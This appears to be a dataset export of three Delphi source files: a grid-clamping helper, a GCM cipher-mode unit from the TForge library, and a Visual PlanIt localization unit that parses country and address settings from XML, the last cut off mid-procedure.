text stringlengths 14 6.51M |
|---|
unit helper.utilities;
interface
type
THelperUtilities = class
public
class function Clamp(value, min, max: integer): integer;
class function ClampToGrid(value, min, max, grid: integer): integer;
end;
implementation
{ THelperUtilities }
class function THelperUtilities.Clamp(value, min, max: integer): integer;
begin
if value < min then
value := min;
if value > max then
value := max;
result := value;
end;
class function THelperUtilities.ClampToGrid(value, min, max,
grid: integer): integer;
begin
result := Clamp(value, min, max);
result := result div grid;
result := result * grid;
end;
end.
|
{
TForge Library
Copyright (c) Sergey Kasandrov 1997, 2018
-------------------------------------------------------
# GCM mode of operation for 128-bit block ciphers
}
unit tfGCMCiphers;
{$I TFL.inc}
interface
uses
tfTypes, tfGHash, tfCipherInstances, SysUtils;
type
PGCMCipherInstance = ^TGCMCipherInstance;
TGCMCipherInstance = record
private
{$HINTS OFF}
FVTable: Pointer;
FRefCount: Integer;
FAlgID: TAlgID;
FKeyFlags: TKeyFlags;
{$HINTS ON}
FPos: Integer;
FCache: array[0..15] of Byte;
FCounter: array[0..15] of Byte;
FH: array[0..15] of Byte;
FAuthSize: UInt64;
FDataSize: UInt64;
FGHash: TGHash;
public
class function SetIV(Inst: PGcmCipherInstance; IV: Pointer; IVLen: Cardinal): TF_RESULT;
{$IFDEF TFL_STDCALL}stdcall;{$ENDIF} static;
class function SetNonce(Inst: PGcmCipherInstance; Nonce: TNonce): TF_RESULT;
{$IFDEF TFL_STDCALL}stdcall;{$ENDIF} static;
class function AddAuthData(Inst: PGCMCipherInstance; Data: PByte; DataSize: Cardinal): TF_RESULT;
{$IFDEF TFL_STDCALL}stdcall;{$ENDIF} static;
class function Encrypt(Inst: PGCMCipherInstance; InData, OutData: PByte;
DataSize: Cardinal): TF_RESULT;
{$IFDEF TFL_STDCALL}stdcall;{$ENDIF} static;
class function Decrypt(Inst: PGCMCipherInstance; InData, OutData: PByte;
DataSize: Cardinal): TF_RESULT;
{$IFDEF TFL_STDCALL}stdcall;{$ENDIF} static;
class function ComputeTag(Inst: PGCMCipherInstance; Tag: PByte;
TagSize: Cardinal): TF_RESULT;
{$IFDEF TFL_STDCALL}stdcall;{$ENDIF} static;
class function CheckTag(Inst: PGCMCipherInstance; Tag: PByte;
TagSize: Cardinal): TF_RESULT;
{$IFDEF TFL_STDCALL}stdcall;{$ENDIF} static;
end;
implementation
uses
tfCipherHelpers, tfUtils;
function Swap64(Value: UInt64): UInt64;
begin
Result:= (Value and $00000000000000FF) shl 56
or (Value and $000000000000FF00) shl 40
or (Value and $0000000000FF0000) shl 24
or (Value and $00000000FF000000) shl 8
or (Value and $000000FF00000000) shr 8
or (Value and $0000FF0000000000) shr 24
or (Value and $00FF000000000000) shr 40
or (Value and $FF00000000000000) shr 56;
end;
{ TGCMCipherInstance }
// max supported IV size is 2^29-1
class function TGCMCipherInstance.AddAuthData(Inst: PGCMCipherInstance;
Data: PByte; DataSize: Cardinal): TF_RESULT;
begin
if Inst.FKeyFlags and TF_KEYFLAG_STARTED = 0 then begin
Inst.FGHash.Update(Data, DataSize);
Inst.FAuthSize:= Inst.FAuthSize + DataSize;
Result:= TF_S_OK;
end
else
Result:= TF_E_UNEXPECTED;
end;
class function TGCMCipherInstance.CheckTag(Inst: PGCMCipherInstance; Tag: PByte;
TagSize: Cardinal): TF_RESULT;
begin
Result:= TF_E_INVALIDARG;
if TagSize <= 16 then begin
ComputeTag(Inst, @Inst.FCounter, 16);
if CompareMem(@Inst.FCounter, Tag, TagSize) then
Result:= TF_S_OK;
end;
end;
class function TGCMCipherInstance.ComputeTag(Inst: PGCMCipherInstance;
Tag: PByte; TagSize: Cardinal): TF_RESULT;
var
Sizes: array[0..1] of UInt64;
I: Integer;
begin
if TagSize <= 16 then begin
Inst.FGHash.Pad();
Sizes[0]:= Swap64(Inst.FAuthSize * 8);
Sizes[1]:= Swap64(Inst.FDataSize * 8);
Inst.FGHash.Update(@Sizes, SizeOf(Sizes));
FillChar(Sizes, SizeOf(Sizes), 0);
Inst.FGHash.Done(@Inst.FCache, 16);
for I:= 0 to 15 do
Inst.FCache[I]:= Inst.FCache[I] xor Inst.FH[I];
Move(Inst.FCache, Tag^, TagSize);
Result:= TF_S_OK;
end
else
Result:= TF_E_INVALIDARG;
end;
class function TGCMCipherInstance.Decrypt(Inst: PGCMCipherInstance; InData,
OutData: PByte; DataSize: Cardinal): TF_RESULT;
var
PCache: PByte;
Size: Cardinal;
begin
// todo: Check TF_KEYFLAG_KEY and TF_KEYFLAG_IV
if Inst.FKeyFlags and TF_KEYFLAG_STARTED = 0 then begin
// finalize auth data processing
Inst.FGHash.Pad();
Inst.FKeyFlags:= Inst.FKeyFlags or TF_KEYFLAG_STARTED;
end;
// InData and OutData can be identical;
// hash the ciphertext before we lost it
Inst.FGHash.Update(InData, DataSize);
Inc(Inst.FDataSize, DataSize);
// decrypt the ciphertext (using EncryptBlock because CTR mode)
while DataSize > 0 do begin
if Inst.FPos = 16 then begin
TBigEndian.Incr(@Inst.FCounter[12], PByte(@Inst.FCounter) + 16);
Move(Inst.FCounter, Inst.FCache, 16);
TCipherHelper.EncryptBlock(Inst, @Inst.FCache);
Inst.FPos:= 0;
end;
Size:= 16 - Inst.FPos;
if Size > DataSize then
Size:= DataSize;
PCache:= @Inst.FCache[Inst.FPos];
Inc(Inst.FPos, Size);
Dec(DataSize, Size);
while Size > 0 do begin
OutData^:= InData^ xor PCache^;
Inc(OutData);
Inc(InData);
Inc(PCache);
Dec(Size);
end;
end;
{
if Last then begin
FillChar(Inst.FCache, SizeOf(Inst.FCache), 0);
Inst.FPos:= 16;
end;
}
Result:= TF_S_OK;
end;
class function TGCMCipherInstance.Encrypt(Inst: PGCMCipherInstance;
InData, OutData: PByte; DataSize: Cardinal): TF_RESULT;
var
POutData, PCache: PByte;
LDataSize: Cardinal;
Size: Cardinal;
begin
// todo: Check TF_KEYFLAG_KEY and TF_KEYFLAG_IV
if Inst.FKeyFlags and TF_KEYFLAG_STARTED = 0 then begin
// finalize auth data processing
Inst.FGHash.Pad();
Inst.FKeyFlags:= Inst.FKeyFlags or TF_KEYFLAG_STARTED;
end;
POutData:= OutData;
LDataSize:= DataSize;
while LDataSize > 0 do begin
if Inst.FPos = 16 then begin
TBigEndian.Incr(@Inst.FCounter[12], PByte(@Inst.FCounter) + 16);
Move(Inst.FCounter, Inst.FCache, 16);
TCipherHelper.EncryptBlock(Inst, @Inst.FCache);
Inst.FPos:= 0;
end;
Size:= 16 - Inst.FPos;
if Size > LDataSize then
Size:= LDataSize;
PCache:= @Inst.FCache[Inst.FPos];
Inc(Inst.FPos, Size);
Dec(LDataSize, Size);
// if Inst.FPos = 16 then
// Inst.FPos:= 0;
while Size > 0 do begin
POutData^:= InData^ xor PCache^;
Inc(POutData);
Inc(InData);
Inc(PCache);
Dec(Size);
end;
end;
Inst.FGHash.Update(OutData, DataSize);
Inst.FDataSize:= Inst.FDataSize + DataSize;
{
if Last then begin
FillChar(Inst.FCache, SizeOf(Inst.FCache), 0);
Inst.FPos:= 16;
end;
}
Result:= TF_S_OK;
end;
class function TGCMCipherInstance.SetIV(Inst: PGcmCipherInstance;
IV: Pointer; IVLen: Cardinal): TF_RESULT;
var
Sizes: array[0..1] of UInt64;
begin
if (IVLen = 12) then begin
Move(IV^, Inst.FCounter, 12);
Inst.FCounter[12]:= 0;
Inst.FCounter[13]:= 0;
Inst.FCounter[14]:= 0;
Inst.FCounter[15]:= 1;
end
else begin
FillChar(Inst.FH, SizeOf(Inst.FH), 0);
TCipherHelper.EncryptBlock(Inst, @Inst.FH);
Inst.FGHash.Init(@Inst.FH);
Inst.FGHash.Update(IV, IVLen);
Inst.FGHash.Pad;
Sizes[0]:= 0; // auth data bit length
Sizes[1]:= Swap64(UInt64(IVLen * 8)); // IV bit length
Inst.FGHash.Update(@Sizes, SizeOf(Sizes));
FillChar(Sizes, SizeOf(Sizes), 0);
Inst.FGHash.Done(@Inst.FCounter, SizeOf(Inst.FCounter));
end;
Inst.FAuthSize:= 0;
Inst.FDataSize:= 0;
// force counter increment at first encrypt or decrypt invocation
Inst.FPos:= 16;
// prepare GHash for hashing auth data
FillChar(Inst.FH, SizeOf(Inst.FH), 0);
TCipherHelper.EncryptBlock(Inst, @Inst.FH);
Inst.FGHash.Init(@Inst.FH);
// save encrypted initial counter for final tag computation
Move(Inst.FCounter, Inst.FH, SizeOf(Inst.FH));
TCipherHelper.EncryptBlock(Inst, @Inst.FH);
// not needed - allow auth data processing
// Inst.FKeyFlags:= Inst.FKeyFlags and not TF_KEYFLAG_STARTED;
Inst.FKeyFlags:= Inst.FKeyFlags and TF_KEYFLAG_IV;
Result:= TF_S_OK;
end;
class function TGCMCipherInstance.SetNonce(Inst: PGcmCipherInstance; Nonce: TNonce): TF_RESULT;
type
UInt64Rec = record
Lo, Hi: UInt32;
end;
var
IV: array[0..2] of UInt32;
begin
IV[0]:= 0;
IV[1]:= UInt64Rec(Nonce).Lo;
IV[2]:= UInt64Rec(Nonce).Hi;
Result:= SetIV(Inst, @IV, SizeOf(IV));
end;
(*
procedure TGCMCipherInstance.SetIV(IV: PByte; IVSize: Cardinal);
var
Sizes: array[0..1] of UInt64;
begin
if (IVSize = 12) then begin
Move(IV^, FCounter, 12);
FCounter[12]:= 0;
FCounter[13]:= 0;
FCounter[14]:= 0;
FCounter[15]:= 1;
end
else begin
FillChar(FH, SizeOf(FH), 0);
TCipherHelper.EncryptBlock(@Self, @FH);
FGHash.Init(@FH);
FGHash.Update(IV, IVSize);
FGHash.Pad;
Sizes[0]:= 0; // auth data bit length
Sizes[1]:= Swap64(UInt64(IVSize * 8)); // IV bit length
FGHash.Update(@Sizes, SizeOf(Sizes));
FillChar(Sizes, SizeOf(Sizes), 0);
FGHash.Done(@FCounter, SizeOf(FCounter));
end;
FAuthSize:= 0;
FDataSize:= 0;
// force counter increment at first encrypt or decrypt invocation
FPos:= 16;
// prepare GHash for hashing auth data
FillChar(FH, SizeOf(FH), 0);
TCipherHelper.EncryptBlock(@Self, @FH);
FGHash.Init(@FH);
// save encrypted initial counter for final tag computation
Move(FCounter, FH, SizeOf(FH));
TCipherHelper.EncryptBlock(@Self, @FH);
// allow auth data processing
FKeyFlags:= FKeyFlags and not TF_KEYFLAG_STARTED;
// FKeyFlags:= FKeyFlags and not TF_KEYFLAG_EXT;
end;
*)
end.
|
{*********************************************************}
{* VPLOCALIZE.PAS 1.03 *}
{*********************************************************}
{* ***** BEGIN LICENSE BLOCK ***** *}
{* Version: MPL 1.1 *}
{* *}
{* The contents of this file are subject to the Mozilla Public License *}
{* Version 1.1 (the "License"); you may not use this file except in *}
{* compliance with the License. You may obtain a copy of the License at *}
{* http://www.mozilla.org/MPL/ *}
{* *}
{* Software distributed under the License is distributed on an "AS IS" basis, *}
{* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License *}
{* for the specific language governing rights and limitations under the *}
{* License. *}
{* *}
{* The Original Code is TurboPower Visual PlanIt *}
{* *}
{* The Initial Developer of the Original Code is TurboPower Software *}
{* *}
{* Portions created by TurboPower Software Inc. are Copyright (C) 2002 *}
{* TurboPower Software Inc. All Rights Reserved. *}
{* *}
{* Contributor(s): *}
{* *}
{* ***** END LICENSE BLOCK ***** *}
{$I vp.inc}
unit VpLocalize;
interface
uses
{$IFDEF LCL}
LMessages,LCLProc,LCLType,LCLIntf,
{$ELSE}
Windows,
{$ENDIF}
Classes,
Dialogs,
SysUtils,
Graphics,
StdCtrls,
VpBase,
VpMisc,
VpData,
VpXParsr,
VpPrtFmt, { For TVpAttributes }
Forms;
type
TVpLocalizeLanguage = class;
TVpLocalizeLanguageItem = class (TVpCollectionItem)
private
FCollection : TVpLocalizeLanguage;
FLanguageID : Integer;
FSubLanguageID : Integer;
FName : string;
protected
public
constructor Create (Collection : TCollection); override;
destructor Destroy; override;
published
property Collection : TVpLocalizeLanguage read FCollection write FCollection;
property LanguageID : Integer read FLanguageID write FLanguageID;
property Name : string read FName write FName;
property SubLanguageID : Integer read FSubLanguageID write FSubLanguageID;
end;
TVpLocalizeLanguage = class (TCollection)
private
FOwner : TPersistent;
protected
function GetItem (Index : Integer) : TVpLocalizeLanguageItem;
function GetOwner : TPersistent; override;
procedure SetItem (Index : Integer; Value : TVpLocalizeLanguageItem);
public
constructor Create (AOwner : TPersistent);
{$IFNDEF VERSION5}
procedure Delete (Item : integer);
{$ENDIF}
function HasLanguage (ALanguage : Integer) : Integer;
function HasSubLanguage (ALanguage : Integer;
ASubLanguage : Integer) : Integer;
property Items[Index : Integer] : TVpLocalizeLanguageItem
read GetItem write SetItem;
end;
TVpLocalizeStates = class;
TVpLocalizeStatesItem = class (TVpCollectionItem)
private
FCollection : TVpLocalizeStates;
FName : string;
FAbbr : string;
protected
public
constructor Create (Collection : TCollection); override;
destructor Destroy; override;
published
property Collection : TVpLocalizeStates read FCollection write FCollection;
property Name : string read FName write FName;
property Abbr : string read FAbbr write FAbbr;
end;
TVpLocalizeStates = class (TCollection)
private
FOwner : TPersistent;
protected
function GetItem (Index : Integer) : TVpLocalizeStatesItem;
function GetOwner : TPersistent; override;
procedure SetItem (Index : Integer; Value : TVpLocalizeStatesItem);
public
constructor Create (AOwner : TPersistent);
{$IFNDEF VERSION5}
procedure Delete (Item : integer);
{$ENDIF}
property Items[Index : Integer] : TVpLocalizeStatesItem
read GetItem write SetItem;
end;
TVpLocalizeCountry = class;
TVpLocalizeCountryItem = class (TVpCollectionItem)
private
FCollection : TVpLocalizeCountry;
FStates : TVpLocalizeStates;
FLanguages : TVpLocalizeLanguage;
FName : string;
FAddress1Visible : Boolean;
FAddress1Caption : string;
FAddress2Visible : Boolean;
FAddress2Caption : string;
FAddress3Visible : Boolean;
FAddress3Caption : string;
FAddress4Visible : Boolean;
FAddress4Caption : string;
FCityVisible : Boolean;
FCityCaption : string;
FStatesVisible : Boolean;
FStateUseAbbr : Boolean;
FStateDupAbbr : Boolean;
FStateCaption : string;
FZipVisible : Boolean;
FZipCaption : string;
protected
public
constructor Create (Collection : TCollection); override;
destructor Destroy; override;
published
property Collection : TVpLocalizeCountry read FCollection write FCollection;
property Languages : TVpLocalizeLanguage read FLanguages write FLanguages;
property Name : string read FName write FName;
property Address1Visible : Boolean read FAddress1Visible write FAddress1Visible;
property Address1Caption : string read FAddress1Caption write FAddress1Caption;
property Address2Visible : Boolean read FAddress2Visible write FAddress2Visible;
property Address2Caption : string read FAddress2Caption write FAddress2Caption;
property Address3Visible : Boolean read FAddress3Visible write FAddress3Visible;
property Address3Caption : string read FAddress3Caption write FAddress3Caption;
property Address4Visible : Boolean read FAddress4Visible write FAddress4Visible;
property Address4Caption : string read FAddress4Caption write FAddress4Caption;
property CityVisible : Boolean read FCityVisible write FCityVisible;
property CityCaption : string read FCityCaption write FCityCaption;
property StatesVisible : Boolean read FStatesVisible write FStatesVisible;
property StateUseAbbr : Boolean read FStateUseAbbr write FStateUseAbbr;
property StateDupAbbr : Boolean read FStateDupAbbr write FStateDupAbbr;
property StateCaption : string read FStateCaption write FStateCaption;
property ZipVisible : Boolean read FZipVisible write FZipVisible;
property ZipCaption : string read FZipCaption write FZipCaption;
property States : TVpLocalizeStates read FStates write FStates;
end;
TVpLocalizeCountry = class (TCollection)
private
FOwner : TPersistent;
protected
function GetItem (Index : Integer) : TVpLocalizeCountryItem;
function GetOwner : TPersistent; override;
procedure SetItem (Index : Integer; Value : TVpLocalizeCountryItem);
public
constructor Create (AOwner : TPersistent);
{$IFNDEF VERSION5}
procedure Delete (Item : integer);
{$ENDIF}
property Items[Index : Integer] : TVpLocalizeCountryItem
read GetItem write SetItem;
end;
TVpLocalization = class (TObject)
private
FCountries : TVpLocalizeCountry;
FAttributes : TVpAttributes;
FLoadingIndex : Integer;
FElementIndex : Integer;
protected
procedure xmlLocalizeAttribute (oOwner : TObject;
sName,
sValue : DOMString;
bSpecified : Boolean);
procedure xmlLocalizeEndElement (oOwner : TObject;
sValue : DOMString);
procedure xmlLocalizeStartElement (oOwner : TObject;
sValue : DOMString);
public
constructor Create;
destructor Destroy; override;
procedure CountriesByLanguage (ALanguage : Integer;
AStrings : TStrings);
procedure CountriesBySubLanguage (ALanguage : Integer;
ASubLanguage : Integer;
AStrings : TStrings);
function CountryNameToIndex (ACountry : string) : Integer;
procedure CountriesToTStrings (AStrings : TStrings);
function GetCurrentCountry : Integer;
function GetCountryByLanguage (ALanguage : Integer) : Integer;
function GetCountryBySubLanguage (ALanguage : Integer;
ASubLanguage : Integer) : Integer;
procedure LoadFromFile (const FileName : string;
const Append : Boolean);
function StateNameToIndex (ACountry : Integer;
AState : string) : Integer;
procedure StatesToTStrings (ACountry : Integer;
AStrings : TStrings);
published
property Countries : TVpLocalizeCountry read FCountries write FCountries;
end;
implementation
constructor TVpLocalizeLanguageItem.Create (Collection : TCollection);
begin
inherited Create (Collection);
FCollection := TVpLocalizeLanguage.Create (TVpLocalizeLanguage (Collection).FOwner);
FLanguageID := -1;
FSubLanguageID := -1;
FName := '';
end;
destructor TVpLocalizeLanguageItem.Destroy;
begin
FCollection.Free;
FCollection := nil;
inherited Destroy;
end;
constructor TVpLocalizeLanguage.Create(AOwner : TPersistent);
begin
inherited Create (TVpLocalizeLanguageItem);
FOwner := AOwner;
end;
{=====}
{$IFNDEF VERSION5}
procedure TVpLocalizeLanguage.Delete(Item: integer);
begin
GetItem(Item).Free;
end;
{=====}
{$ENDIF}
function TVpLocalizeLanguage.GetItem (Index : Integer) : TVpLocalizeLanguageItem;
begin
Result := TVpLocalizeLanguageItem (inherited GetItem (Index));
end;
{=====}
function TVpLocalizeLanguage.GetOwner : TPersistent;
begin
Result := FOwner;
end;
{=====}
function TVpLocalizeLanguage.HasLanguage (ALanguage : Integer) : Integer;
var
i : Integer;
begin
Result := -1;
for i := 0 to Count - 1 do
if Items[i].LanguageID = ALanguage then begin
Result := i;
Break;
end;
end;
function TVpLocalizeLanguage.HasSubLanguage (ALanguage : Integer;
ASubLanguage : Integer) : Integer;
var
i : Integer;
begin
Result := -1;
for i := 0 to Count - 1 do
if (Items[i].LanguageID = ALanguage) and
(Items[i].SubLanguageID = ASubLanguage) then begin
Result := i;
Break;
end;
end;
procedure TVpLocalizeLanguage.SetItem (Index : Integer; Value : TVpLocalizeLanguageItem);
begin
inherited SetItem (Index, Value);
end;
{=====}
constructor TVpLocalizeStatesItem.Create (Collection : TCollection);
begin
inherited Create (Collection);
FCollection := TVpLocalizeStates.Create (TVpLocalizeStates (Collection).FOwner);
FName := '';
FAbbr := '';
end;
destructor TVpLocalizeStatesItem.Destroy;
begin
FCollection.Free;
FCollection := nil;
inherited Destroy;
end;
constructor TVpLocalizeStates.Create(AOwner : TPersistent);
begin
inherited Create (TVpLocalizeStatesItem);
FOwner := AOwner;
end;
{=====}
{$IFNDEF VERSION5}
procedure TVpLocalizeStates.Delete(Item: integer);
begin
GetItem(Item).Free;
end;
{=====}
{$ENDIF}
function TVpLocalizeStates.GetItem (Index : Integer) : TVpLocalizeStatesItem;
begin
Result := TVpLocalizeStatesItem (inherited GetItem (Index));
end;
{=====}
function TVpLocalizeStates.GetOwner : TPersistent;
begin
Result := FOwner;
end;
{=====}
procedure TVpLocalizeStates.SetItem (Index : Integer; Value : TVpLocalizeStatesItem);
begin
inherited SetItem (Index, Value);
end;
{=====}
constructor TVpLocalizeCountryItem.Create (Collection : TCollection);
begin
inherited Create (Collection);
FCollection := TVpLocalizeCountry.Create (TVpLocalizeCountry (Collection).FOwner);
FStates := TVpLocalizeStates.Create (Self);
FLanguages := TVpLocalizeLanguage.Create (nil);
FName := '';
FAddress1Visible := True;
FAddress1Caption := 'Address';
FAddress2Visible := True;
FAddress2Caption := '';
FAddress3Visible := True;
FAddress3Caption := '';
FAddress4Visible := False;
FAddress4Caption := '';
FCityVisible := True;
FCityCaption := 'City';
FStatesVisible := True;
FStateUseAbbr := False;
FStateDupAbbr := False;
FStateCaption := 'Province';
FZipVisible := True;
FZipCaption := 'Postal Code';
end;
destructor TVpLocalizeCountryItem.Destroy;
begin
FCollection.Free;
FCollection := nil;
FStates.Free;
FStates := nil;
FLanguages.Free;
FLanguages := nil;
inherited Destroy;
end;
constructor TVpLocalizeCountry.Create(AOwner : TPersistent);
begin
inherited Create (TVpLocalizeCountryItem);
FOwner := AOwner;
end;
{=====}
{$IFNDEF VERSION5}
procedure TVpLocalizeCountry.Delete(Item: integer);
begin
GetItem(Item).Free;
end;
{=====}
{$ENDIF}
function TVpLocalizeCountry.GetItem (Index : Integer) : TVpLocalizeCountryItem;
begin
Result := TVpLocalizeCountryItem (inherited GetItem (Index));
end;
{=====}
function TVpLocalizeCountry.GetOwner : TPersistent;
begin
Result := FOwner;
end;
{=====}
procedure TVpLocalizeCountry.SetItem (Index : Integer; Value : TVpLocalizeCountryItem);
begin
inherited SetItem (Index, Value);
end;
{=====}
constructor TVpLocalization.Create;
begin
inherited Create;
Countries := TVpLocalizeCountry.Create (nil);
FAttributes :=TVpAttributes.Create (nil);
end;
destructor TVpLocalization.Destroy;
begin
Countries.Free;
FAttributes.Free;
inherited Destroy;
end;
procedure TVpLocalization.CountriesByLanguage (ALanguage : Integer;
AStrings : TStrings);
var
i : Integer;
begin
AStrings.Clear;
for i := 0 to Countries.Count - 1 do
if Countries.Items[i].Languages.HasLanguage (ALanguage) >= 0 then
AStrings.Add (Countries.Items[i].Name);
end;
procedure TVpLocalization.CountriesBySubLanguage (ALanguage : Integer;
ASubLanguage : Integer;
AStrings : TStrings);
var
i : Integer;
begin
AStrings.Clear;
for i := 0 to Countries.Count - 1 do
if Countries.Items[i].Languages.HasSubLanguage (ALanguage, ASubLanguage) >= 0 then
AStrings.Add (Countries.Items[i].Name);
end;
function TVpLocalization.CountryNameToIndex (ACountry : string) : Integer;
var
i : Integer;
CLen : Integer;
begin
Result := -1;
if ACountry = '' then
Exit;
ACountry := LowerCase (ACountry);
CLen := Length (ACountry);
for i := 0 to FCountries.Count - 1 do
if ACountry = Copy (LowerCase (FCountries.Items[i].Name), 1, CLen) then begin
Result := i;
Exit;
end;
end;
procedure TVpLocalization.CountriesToTStrings (AStrings : TStrings);
var
i : Integer;
begin
AStrings.Clear;
for i := 0 to FCountries.Count - 1 do
AStrings.Add (FCountries.Items[i].Name);
end;
function TVpLocalization.GetCurrentCountry : Integer;
function SubLangID (LanguageID : Word) : Word;
begin
Result := LanguageID shr 10;
end;
function PrimaryLangID (LanguageID : Word) : Word;
begin
Result := LanguageID and $3FF;
end;
var
LangId : Word;
Primary : Word;
Secondary : Word;
begin
//TODO:
{
LangId := GetUserDefaultLangID;
Primary := PrimaryLangID (LangID);
Secondary := SubLangID (LangID);
if Secondary > 0 then
Result := Self.GetCountryBySubLanguage (Primary, Secondary)
else
Result := Self.GetCountryByLanguage (Primary);
}
end;
function TVpLocalization.GetCountryByLanguage (ALanguage : Integer) : Integer;
var
i : Integer;
begin
Result := -1;
for i := 0 to Countries.Count - 1 do
if Countries.Items[i].Languages.HasLanguage (ALanguage) >= 0 then begin
Result := i;
Break;
end;
end;
function TVpLocalization.GetCountryBySubLanguage (ALanguage : Integer;
ASubLanguage : Integer) : Integer;
var
i : Integer;
begin
Result := -1;
for i := 0 to Countries.Count - 1 do
if Countries.Items[i].Languages.HasSubLanguage (ALanguage,
ASubLanguage) >= 0 then begin
Result := i;
Break;
end;
end;
procedure TVpLocalization.LoadFromFile (const FileName : string;
const Append : Boolean);
var
Parser : TVpParser;
begin
if not Append then
FCountries.Clear;
FLoadingIndex := -1;
FElementIndex := -1;
Parser := TVpParser.Create (nil);
Parser.OnAttribute := xmlLocalizeAttribute;
Parser.OnStartElement := xmlLocalizeStartElement;
Parser.OnEndElement := xmlLocalizeEndElement;
try
Parser.ParseDataSource (FileName);
finally
Parser.Free;
end;
FLoadingIndex := -1;
FElementIndex := -1;
end;
function TVpLocalization.StateNameToIndex (ACountry : Integer;
AState : string) : Integer;
var
i : Integer;
begin
Result := -1;
if (ACountry < 0) or (ACountry >= FCountries.Count) then
Exit;
AState := LowerCase (AState);
for i := 0 to FCountries.Items[ACountry].States.Count - 1 do
if AState = LowerCase (FCountries.Items[ACountry].States.Items[i].Name) then begin
Result := i;
Exit;
end;
end;
procedure TVpLocalization.StatesToTStrings (ACountry : Integer;
AStrings : TStrings);
var
i : Integer;
begin
AStrings.Clear;
if (ACountry < 0) or (ACountry >= FCountries.Count) then
Exit;
for i := 0 to FCountries.Items[ACountry].States.Count - 1 do
AStrings.Add (FCountries.Items[ACountry].States.Items[i].Name);
end;
procedure TVpLocalization.xmlLocalizeAttribute (oOwner : TObject;
sName,
sValue : DOMString;
bSpecified : Boolean);
var
Item : TVpAttributeItem;
begin
Item := TVpAttributeItem (FAttributes.Add);
Item.Name := sName;
Item.Value := sValue;
end;
procedure TVpLocalization.xmlLocalizeEndElement (oOwner : TObject;
sValue : DOMString);
begin
if (sValue = 'Country') or (sValue = 'Countries') or
(sValue = 'AddressDefinition') then begin
FLoadingIndex := -1;
FElementIndex := -1;
end else if sValue = 'State' then
FElementIndex := -1;
FAttributes.Clear;
end;
procedure TVpLocalization.xmlLocalizeStartElement (oOwner : TObject;
sValue : DOMString);
function GetBooleanValue (AString : string;
ADefault : Boolean) : Boolean;
begin
Result := ADefault;
AString := LowerCase (AString);
if (AString = 't') or (AString = 'true') or (AString = '1') or
(AString = 'on') or (AString = 'yes') then
Result := True
else if (AString= 'f') or (AString = 'false') or (AString = '0') or
(AString = 'off') or (AString = 'no') then
Result := False;
end;
function GetIntegerValue (AString : string;
ADefault : Integer) : Integer;
begin
try
Result := StrToInt (AString);
except on EConvertError do
Result := ADefault;
end;
end;
var
i : Integer;
NewItem : TVpLocalizeCountryItem;
NewElement : TVpLocalizeStatesItem;
NewLanguage : TVpLocalizeLanguageItem;
begin
if sValue = 'Countries' then begin
FLoadingIndex := -1;
FElementIndex := -1;
end else if sValue = 'Country' then begin
NewItem := TVpLocalizeCountryItem (FCountries.Add);
FLoadingIndex := NewItem.Index;
for i := 0 to FAttributes.Count - 1 do begin
if (FAttributes.Items[i].Name = 'Name') and
(Fattributes.Items[i].Value <> '') then
NewItem.Name := FAttributes.Items[i].Value;
end
end else if sValue = 'State' then begin
if FLoadingIndex < 0 then
Exit;
for i := 0 to FAttributes.Count - 1 do begin
if FAttributes.Items[i].Name = 'Caption' then
FCountries.Items[FLoadingIndex].StateCaption := FAttributes.Items[i].Value
else if FAttributes.Items[i].Name = 'DupAbbr' then
FCountries.Items[FLoadingIndex].StateDupAbbr :=
GetBooleanValue (FAttributes.Items[i].Value, False)
else if FAttributes.Items[i].Name = 'UseAbbr' then
FCountries.Items[FLoadingIndex].StateUseAbbr :=
GetBooleanValue (FAttributes.Items[i].Value, False)
else if FAttributes.Items[i].Name = 'Visible' then
FCountries.Items[FLoadingIndex].StatesVisible :=
GetBooleanValue (FAttributes.Items[i].Value, True);
end;
end else if sValue = 'Address1' then begin
if FLoadingIndex < 0 then
Exit;
for i := 0 to FAttributes.Count - 1 do begin
if FAttributes.Items[i].Name = 'Caption' then
FCountries.Items[FLoadingIndex].Address1Caption := FAttributes.Items[i].Value
else if FAttributes.Items[i].Name = 'Visible' then
FCountries.Items[FLoadingIndex].Address1Visible :=
GetBooleanValue (FAttributes.Items[i].Value, True);
end;
end else if sValue = 'Address2' then begin
if FLoadingIndex < 0 then
Exit;
for i := 0 to FAttributes.Count - 1 do begin
if FAttributes.Items[i].Name = 'Caption' then
FCountries.Items[FLoadingIndex].Address2Caption := FAttributes.Items[i].Value
else if FAttributes.Items[i].Name = 'Visible' then
FCountries.Items[FLoadingIndex].Address2Visible :=
GetBooleanValue (FAttributes.Items[i].Value, True);
end;
end else if sValue = 'Address3' then begin
if FLoadingIndex < 0 then
Exit;
for i := 0 to FAttributes.Count - 1 do begin
if FAttributes.Items[i].Name = 'Caption' then
FCountries.Items[FLoadingIndex].Address3Caption := FAttributes.Items[i].Value
else if FAttributes.Items[i].Name = 'Visible' then
FCountries.Items[FLoadingIndex].Address3Visible :=
GetBooleanValue (FAttributes.Items[i].Value, True);
end;
end else if sValue = 'Address4' then begin
if FLoadingIndex < 0 then
Exit;
for i := 0 to FAttributes.Count - 1 do begin
if FAttributes.Items[i].Name = 'Caption' then
FCountries.Items[FLoadingIndex].Address4Caption := FAttributes.Items[i].Value
else if FAttributes.Items[i].Name = 'Visible' then
FCountries.Items[FLoadingIndex].Address4Visible :=
GetBooleanValue (FAttributes.Items[i].Value, False);
end;
end else if sValue = 'City' then begin
if FLoadingIndex < 0 then
Exit;
for i := 0 to FAttributes.Count - 1 do begin
if FAttributes.Items[i].Name = 'Caption' then
FCountries.Items[FLoadingIndex].CityCaption := FAttributes.Items[i].Value
else if FAttributes.Items[i].Name = 'Visible' then
FCountries.Items[FLoadingIndex].CityVisible :=
GetBooleanValue (FAttributes.Items[i].Value, True);
end;
end else if sValue = 'Zipcode' then begin
if FLoadingIndex < 0 then
Exit;
for i := 0 to FAttributes.Count - 1 do begin
if FAttributes.Items[i].Name = 'Caption' then
FCountries.Items[FLoadingIndex].ZipCaption := FAttributes.Items[i].Value
else if FAttributes.Items[i].Name = 'Visible' then
FCountries.Items[FLoadingIndex].ZipVisible :=
GetBooleanValue (FAttributes.Items[i].Value, True);
end;
end else if sValue = 'LegalValue' then begin
if FLoadingIndex < 0 then
Exit;
NewElement := TVpLocalizeStatesItem (FCountries.Items[FLoadingIndex].States.Add);
FElementIndex := NewElement.Index;
for i := 0 to FAttributes.Count - 1 do begin
if FAttributes.Items[i].Name = 'Name' then
NewElement.Name := FAttributes.Items[i].Value
else if FAttributes.Items[i].Name = 'Value' then
NewElement.Abbr := FAttributes.Items[i].Value;
end;
end else if sValue = 'Language' then begin
if FLoadingIndex < 0 then
